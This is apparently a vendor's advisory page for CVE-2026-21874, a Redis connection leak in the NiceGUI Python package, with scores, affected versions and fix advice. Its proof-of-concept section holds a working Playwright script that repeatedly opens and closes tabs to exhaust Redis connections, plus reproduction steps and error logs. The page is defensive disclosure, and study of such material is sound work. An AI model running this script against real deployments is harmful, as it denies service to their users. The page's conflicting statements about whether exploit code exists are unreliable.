How severe is CVE-2026-21874?

CVE-2026-21874 has a CVSS score of 5.3/10, rated MEDIUM. Review your exposure and patch according to your risk tolerance.

Which packages are affected by CVE-2026-21874?

CVE-2026-21874 affects the following packages: nicegui (PyPI). Ecosystems affected: PyPI.

How do I fix CVE-2026-21874?

Update nicegui to 3.5.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-21874 is resolved across your whole dependency graph.

How do I detect CVE-2026-21874 in my PyPI dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for nicegui, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate CVE-2026-21874 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against CVE-2026-21874?

O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-21874 can be triaged on real exposure rather than presence alone.

Is CVE-2026-21874 actively exploited in the wild?

No public exploit code has been indexed for CVE-2026-21874 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for CVE-2026-21874?

CVE-2026-21874 has an EPSS (Exploit Prediction Scoring System) score of 0.6%, placing it in the 45th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is CVE-2026-21874?

CVE-2026-21874 is classified as CWE-772 (CWE-772). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

When was CVE-2026-21874 published, and has it been updated?

CVE-2026-21874 was published on January 8, 2026 and was last updated on August 12, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐍

🐍 PyPI

Not in CISA KEV

MEDIUM severity

CVE-2026-21874 — nicegui

MEDIUMFix: zauberzeug/nicegui@6c52eb2

CVE-2026-21874 is a medium-severity (CVSS 5.3) CWE-772 vulnerability in nicegui. A fix is available for nicegui — see the affected versions and patch details below.

NiceGUI has Redis connection leak via tab storage causes service degradation

Also known asGHSA-mp55-g7pj-rvm2PYSEC-2026-1703

Published

Jan 8, 2026

Updated

Aug 12, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-21874.

EPSS Exploitation Probability

via FIRST.org ↗

0.6%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs45th percentile — riskier than 45% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2026-21874 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected

🐍nicegui

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

An unauthenticated attacker can exhaust Redis connections by repeatedly opening and closing browser tabs on any NiceGUI application using Redis-backed storage. Connections are never released, leading to service degradation when Redis hits its connection limit. NiceGUI continues accepting new connections - errors are logged but the app stays up with broken storage functionality.

Details

When a client disconnects, tab_id is cleared at https://github.com/zauberzeug/nicegui/blob/main/nicegui/client.py#L307 before delete() is called at https://github.com/zauberzeug/nicegui/blob/main/nicegui/client.py#L319. By then tab_id is None, so there's no way to find the RedisPersistentDict and call https://github.com/zauberzeug/nicegui/blob/main/nicegui/persistence/redis_persistent_dict.py#L92.

Each tab creates a RedisPersistentDict with a Redis client connection and a pubsub subscription. These are never closed, accumulating until Redis maxclients is reached.

PoC

Test server (test_connection_leak.py)

import os
import logging
from datetime import timedelta

import redis
from nicegui import ui, app
from nicegui.client import Client

logging.basicConfig(level=logging.WARNING, format="%(asctime)s %(levelname)s %(message)s")
logging.getLogger("leak").setLevel(logging.INFO)
log = logging.getLogger("leak")

_original_handle_disconnect = Client.handle_disconnect
_original_delete = Client.delete


def _patched_handle_disconnect(self, socket_id: str) -> None:
    tab_id_before = self.tab_id
    _original_handle_disconnect(self, socket_id)
    log.warning("disconnect: tab_id=%s cleared, tabs=%d", tab_id_before, len(app.storage._tabs))


def _patched_delete(self) -> None:
    tab_id = self.tab_id
    tabs_before = len(app.storage._tabs)
    _original_delete(self)
    log.error("delete: tab_id=%s, tabs=%d->%d", tab_id, tabs_before, len(app.storage._tabs))


Client.handle_disconnect = _patched_handle_disconnect
Client.delete = _patched_delete

_last_stats: tuple[int, int] = (0, 0)


def log_stats() -> None:
    global _last_stats
    client = redis.from_url(os.environ["NICEGUI_REDIS_URL"])
    conns = client.info("clients")["connected_clients"]
    client.close()
    tabs = len(app.storage._tabs)
    if (conns, tabs) != _last_stats:
        log.info("stats: conns=%d tabs=%d", conns, tabs)
        _last_stats = (conns, tabs)


@ui.page("/")
async def main():
    await ui.context.client.connected()
    app.storage.tab["visited"] = True
    ui.label("Check logs")
    ui.timer(interval=2.0, callback=log_stats)


if __name__ == "__main__":
    app.storage.max_tab_storage_age = timedelta(days=30).total_seconds()
    ui.run(storage_secret="test", reconnect_timeout=2.0, reload=False)

Attack script (attack_connection_leak.py)

import asyncio
from playwright.async_api import async_playwright


async def attack(url: str, num_tabs: int) -> None:
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True)
        for i in range(num_tabs):
            context = await browser.new_context()
            page = await context.new_page()
            try:
                await page.goto(url, wait_until="domcontentloaded", timeout=10000)
                await page.wait_for_timeout(500)
            except Exception:
                pass
            await context.close()
        await browser.close()


if __name__ == "__main__":
    asyncio.run(attack(url="http://127.0.0.1:8080/", num_tabs=100))

Steps to reproduce

Limit Redis connections: redis-cli CONFIG SET maxclients 50
Start server: NICEGUI_REDIS_URL=redis://localhost:6379/0 python test_connection_leak.py
Run attack: python attack_connection_leak.py
Observe server logs - Redis refuses connections:

NiceGUI ready to go on http://localhost:8080, http://10.201.1.10:8080, http://127.94.0.1:8080, http://127.94.0.2:8080, and http://192.168.0.15:8080
2026-01-01 17:19:43,226 INFO stats: conns=12 tabs=1
2026-01-01 17:19:45,945 INFO stats: conns=14 tabs=1
2026-01-01 17:21:14,504 INFO stats: conns=16 tabs=2
2026-01-01 17:21:14,506 WARNING disconnect: tab_id=4c1fc610-0fa9-4e8f-bb7a-c7882d22e599 cleared, tabs=2
2026-01-01 17:21:16,339 INFO stats: conns=19 tabs=3
2026-01-01 17:21:16,963 ERROR delete: tab_id=None, tabs=3->3
2026-01-01 17:21:16,964 WARNING disconnect: tab_id=e62f8ff3-9b91-431c-a66e-ce64dc37fc41 cleared, tabs=3
2026-01-01 17:21:17,563 INFO stats: conns=20 tabs=3
2026-01-01 17:21:18,342 INFO stats: conns=21 tabs=3
2026-01-01 17:21:19,397 INFO stats: conns=23 tabs=4
2026-01-01 17:21:20,022 ERROR delete: tab_id=None, tabs=4->4
2026-01-01 17:21:20,022 WARNING disconnect: tab_id=acafc0de-83bd-4919-8a78-e7775eb5b0cb cleared, tabs=4
2026-01-01 17:21:21,952 INFO stats: conns=27 tabs=5
2026-01-01 17:21:23,204 ERROR delete: tab_id=None, tabs=5->5
2026-01-01 17:21:23,204 WARNING disconnect: tab_id=56df6fab-7342-4823-8cc4-0e997d9da40a cleared, tabs=5
2026-01-01 17:21:23,829 INFO stats: conns=28 tabs=5
2026-01-01 17:21:25,280 INFO stats: conns=29 tabs=5
2026-01-01 17:21:25,881 ERROR delete: tab_id=None, tabs=5->5
2026-01-01 17:21:26,578 INFO stats: conns=30 tabs=5
2026-01-01 17:21:27,567 INFO stats: conns=32 tabs=6
2026-01-01 17:21:27,569 WARNING disconnect: tab_id=f1f79c1e-80ef-4753-a228-fdc13eb29e19 cleared, tabs=6
2026-01-01 17:21:28,579 INFO stats: conns=34 tabs=6
2026-01-01 17:21:29,449 INFO stats: conns=35 tabs=7
2026-01-01 17:21:30,074 ERROR delete: tab_id=None, tabs=7->7
2026-01-01 17:21:30,075 WARNING disconnect: tab_id=9f1326eb-75d8-4ea3-99fb-e47f54d45371 cleared, tabs=7
2026-01-01 17:21:30,701 INFO stats: conns=36 tabs=7
2026-01-01 17:21:31,454 INFO stats: conns=37 tabs=7
2026-01-01 17:21:32,531 INFO stats: conns=40 tabs=8
2026-01-01 17:21:33,185 ERROR delete: tab_id=None, tabs=8->8
2026-01-01 17:21:33,185 WARNING disconnect: tab_id=5f0b0e71-0ea0-4488-b392-cda09299a8f2 cleared, tabs=8
2026-01-01 17:21:34,436 INFO stats: conns=40 tabs=9
2026-01-01 17:21:35,063 WARNING disconnect: tab_id=a6e014ed-e76e-449d-a6eb-e8676cca1cc5 cleared, tabs=9
2026-01-01 17:21:35,685 INFO stats: conns=41 tabs=9
2026-01-01 17:21:35,686 ERROR delete: tab_id=None, tabs=9->9
2026-01-01 17:21:36,411 INFO stats: conns=42 tabs=9
2026-01-01 17:21:37,479 INFO stats: conns=45 tabs=10
2026-01-01 17:21:38,112 ERROR delete: tab_id=None, tabs=10->10
2026-01-01 17:21:38,112 WARNING disconnect: tab_id=9dd7a6ca-50da-436a-966f-38c835b65f7b cleared, tabs=10
2026-01-01 17:21:39,342 INFO stats: conns=48 tabs=11
2026-01-01 17:21:39,600 ERROR max number of clients reached
Traceback (most recent call last):
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/nicegui/timer.py", line 111, in _invoke_callback
    result = self.callback()
  File "/Users/dyudelevich/dev/test_connection_leak.py", line 45, in log_stats
    conns = client.info("clients")["connected_clients"]
            ~~~~~~~~~~~^^^^^^^^^^^
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/commands/core.py", line 1005, in info
    return self.execute_command("INFO", section, *args, **kwargs)
           ~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/client.py", line 657, in execute_command
    return self._execute_command(*args, **options)
           ~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/client.py", line 663, in _execute_command
    conn = self.connection or pool.get_connection()
                              ~~~~~~~~~~~~~~~~~~~^^
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/utils.py", line 196, in wrapper
    return func(*args, **kwargs)
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/connection.py", line 2601, in get_connection
    connection.connect()
    ~~~~~~~~~~~~~~~~~~^^
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/connection.py", line 846, in connect
    self.connect_check_health(check_health=True)
    ~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/connection.py", line 869, in connect_check_health
    self.on_connect_check_health(check_health=check_health)
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/connection.py", line 941, in on_connect_check_health
    auth_response = self.read_response()
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/connection.py", line 1133, in read_response
    response = self._parser.read_response(disable_decoding=disable_decoding)
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/_parsers/resp2.py", line 15, in read_response
    result = self._read_response(disable_decoding=disable_decoding)
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/_parsers/resp2.py", line 38, in _read_response
    raise error
redis.exceptions.ConnectionError: max number of clients reached
2026-01-01 17:21:39,618 WARNING disconnect: tab_id=711835bb-3677-44cc-a406-abb8ae487370 cleared, tabs=11
2026-01-01 17:21:39,618 WARNING Could not load data from Redis with key nicegui:tab-711835bb-3677-44cc-a406-abb8ae487370
2026-01-01 17:21:40,242 INFO stats: conns=49 tabs=11
2026-01-01 17:21:40,244 ERROR delete: tab_id=None, tabs=11->11
2026-01-01 17:21:40,502 WARNING Could not load data from Redis with key nicegui:user-3876bd1e-5769-43ef-8c78-6e5e77ae3436
2026-01-01 17:21:40,502 ERROR max number of clients reached
Traceback (most recent call last):
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/nicegui/background_tasks.py", line 93, in _handle_exceptions
    task.result()
    ~~~~~~~~~~~^^
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/nicegui/persistence/redis_persistent_dict.py", line 81, in backup
    if not await self.redis_client.exists(self.key) and not self:
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/client.py", line 720, in execute_command
    conn = self.connection or await pool.get_connection()
                              ^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py", line 1198, in get_connection
    await self.ensure_connection(connection)
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py", line 1231, in ensure_connection
    await connection.connect()
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py", line 298, in connect
    await self.connect_check_health(check_health=True)
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py", line 324, in connect_check_health
    await self.on_connect_check_health(check_health=check_health)
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py", line 410, in on_connect_check_health
    auth_response = await self.read_response()
                    ^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py", line 607, in read_response
    response = await self._parser.read_response(
               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
        disable_decoding=disable_decoding
        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    )
    ^
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/_parsers/resp2.py", line 82, in read_response
    response = await self._read_response(disable_decoding=disable_decoding)
               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/_parsers/resp2.py", line 102, in _read_response
    raise error
redis.exceptions.ConnectionError: max number of clients reached

2026-01-01 17:21:39,600 ERROR max number of clients reached redis.exceptions.ConnectionError: max number of clients reached

Impact

Affects all NiceGUI deployments using Redis storage. No authentication required. Attacker opens/closes browser tabs until Redis refuses new connections. NiceGUI handles errors gracefully so the app stays up, but new users lose persistent storage (tab/user data not saved) and any Redis-dependent functionality breaks.

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐍PyPI	`nicegui`	≥ 2.10.0&&< 3.5.0	3.5.0`pip install --upgrade 'nicegui==3.5.0'`

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for nicegui, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update nicegui to 3.5.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-21874 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-21874 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-21874. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary An unauthenticated attacker can exhaust Redis connections by repeatedly opening and closing browser tabs on any NiceGUI application using Redis-backed storage. Connections are never released, leading to service degradation when Redis hits its connection limit. **NiceGUI continues accepting new connections - errors are logged but the app stays up with broken storage functionality.** ### Details When a client disconnects, tab_id is cleared at https://github.com/zauberzeug/nicegui/blob/main/nicegui/client.py#L307 before delete() is called at https://github.com/zauberzeug/nicegui/blob

O3 Security · Impact-Aware SCA

Is CVE-2026-21874 in your dependencies?

O3 Security finds CVE-2026-21874 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

Scan my dependencies How O3 SCA works

CVSS Score

5.3/10CVSS v3 base

Vector breakdown

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

None

Scope

Unchanged

Confidentiality

None

Integrity

None

Availability

Low

Raw vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

CWE Classification

CWE-772CWE-772

Weaponization

No known public exploit tooling found.

OpenSSF Scorecard

Package health score

nicegui

5.8/10

Code-Review8/10

Maintained10/10

Branch-Protection5/10

Assessed Sep 14, 2026

Timeline

Disclosed

Jan 8, 2026

Last updated

Aug 12, 2026

Identifiers

CVE-2026-21874

GHSA-mp55-g7pj-rvm2

PYSEC-2026-1703

References

Advisorygithub.com Advisorygithub.com Advisorynvd.nist.gov Fixgithub.com Webgithub.com Packagegithub.com

Related vulnerabilities

This CVE is medium severity; 8 of 8 other CVEs affecting nicegui are rated as high or higher (top: high).

CVE-2026-45553CVE-2026-45554CVE-2026-39844CVE-2026-33332CVE-2026-27156CVE-2026-25732CVE-2026-25516CVE-2026-21871

Provenance

Sources

OSV.devNVDFIRST.org (EPSS)

Last verifiedAug 12, 2026

CVE-2026-21874 — nicegui

Exploitation Status

Proof-of-concept exploit code exists

EPSS Exploitation Probability

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

Description

Summary

Details

PoC

Test server (test_connection_leak.py)

Attack script (attack_connection_leak.py)

Steps to reproduce

Impact

Affected Packages

Detection & mitigation playbook

Detect

Fix

Workarounds

How O3 protects you

Frequently Asked Questions

Is CVE-2026-21874 in your dependencies?